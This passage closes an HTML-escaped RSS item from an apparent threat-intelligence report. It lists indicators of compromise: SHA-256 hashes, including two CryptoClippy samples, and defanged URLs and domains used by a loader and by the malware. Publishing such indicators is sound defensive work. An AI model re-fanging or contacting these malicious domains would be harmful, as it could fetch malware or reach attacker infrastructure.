&lt;li&gt;&lt;code&gt;32ad6008209b9a48e5c0fdad6b2bcd5dd374a9c273d99d82a339939f450d6f42&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;3d18564402263bb7e7f9091b154990c3c15cbd8d86610a23b389fb1e5fc65723&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;417f2fc47353b84b56cc5f438d53570901740037a41012d6f4d3168cbd40a7ff&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;49300936a4e0986e98bbb681312b18e4305fb3fd5f53e31985721e267745cff5&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;4f9e65266f0842856dfba4d1d3c9dc278e5521ef3ca521f1726ed1d1e8a547df&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;64ecc4d34f45662b32387008b5d81b21bd995af399a6957ca2c1441756073307&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;6768e39b94159e39b517250a047a2e043f9cd4e360c12c19d88113aa475f1ca6&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;6dc5788049de41f09f32ffe2c84c715353efe32536fccb9c44254de8e8eae575&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;7861b9c78ae234bb636bf67b369a19bbcf83092f999a85397d25a08626f79bd6&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;8446de8cdcddf6b7e023fbe353e69d51a6cb4105c52709a618e88b2ac77645ad&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;8784e81c8aa147548f057c3b162a7c717fddc450028a4c3dc4271eead5b2a68a&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;8bdcea1224ef19f6c00986c2b06754d132ead4a602147b0db8d1adda35a64914&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;94f2e8062a586486528c6eef2a6302106ae3eb69eba3cb1e37d77f22024a8496&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;97abe330295c853554e516cb2ac946f053696c5396e755b2abd7606a4e24d82e&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;9dc2dc7cb68b26395de3840f096ddae825681cb86c4facb054da81708cebe970&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ab053769b445fb833f11f65e1ec2f238ffd14dd38c5173f755133caae0ed425d&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;b2a18f5dc63c87bbb39b8b7e722bfc83b75e3fc15a5367ead1b2e5c74be7f30a&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;b33e440e1af58cf61543158123699dcc21716d1fbf820bb36b578b0da2da8e26&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bb242ec30689f12d10986832a8548f23b06a7c1b5988797a48c6237fd51cde49&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bf71c9f9b2eacbd02bdb0296cdf2533df41a8ec53e894af91a720cfaefa84066&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;c1a8f5a1eaa54d7a895afe298e41ccc2acc018133bea1588eb00d1c04d809b4f&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;c4a6c74441fa701ee5568420ed0d930b2636d46239b7558df946de26a026af4e&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;d76ffe1bd489d2c1e2ed5c64849aeffe23d4ffe82597e40a030e9a634305b07f&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;d9ba0ffebeff80a7d19dfd9b848b5e96dfda72a4b8f749bd5032145abd7eb86f&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dd8e58d3dfcb3ba2675638ccf36dbdb90fce4f29e9c91256269218d8b6431763&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;f99351a25ae8890fa91674a5ce54ce4ff8d46c3e93f16debc0852d4d8431d49b&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fa5f1116478d45d74c2ed175a0c507abcdeedf07096e3a43144fa19cec427575&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bdd98909fb388401919b5fd465e54266845cd74e75f60ff97703fabc35664a9a&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;CryptoClippy samples&lt;span class="hx:absolute hx:-mt-20" id="cryptoclippy-samples"&gt;&lt;/span&gt;
&lt;a href="#cryptoclippy-samples" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;d2c85de7c763e8d8990d06f78f226fda36443253c63678c7c0e998499f3af61a&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;02af8c455fc32e0e79d5b7be2d6349ddc95d747528e328715325947217933dac&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Domains used by the loader&lt;span class="hx:absolute hx:-mt-20" id="domains-used-by-the-loader"&gt;&lt;/span&gt;
&lt;a href="#domains-used-by-the-loader" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;http://ef0h[.]com/1/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://4a3d[.]com/1/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://b3do[.]com/1/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://yogarecap[.]com/1/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Domains used by the malware&lt;span class="hx:absolute hx:-mt-20" id="domains-used-by-the-malware"&gt;&lt;/span&gt;
&lt;a href="#domains-used-by-the-malware" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;nicerypx[.]com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;flowmudy[.]com&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item></channel></rss>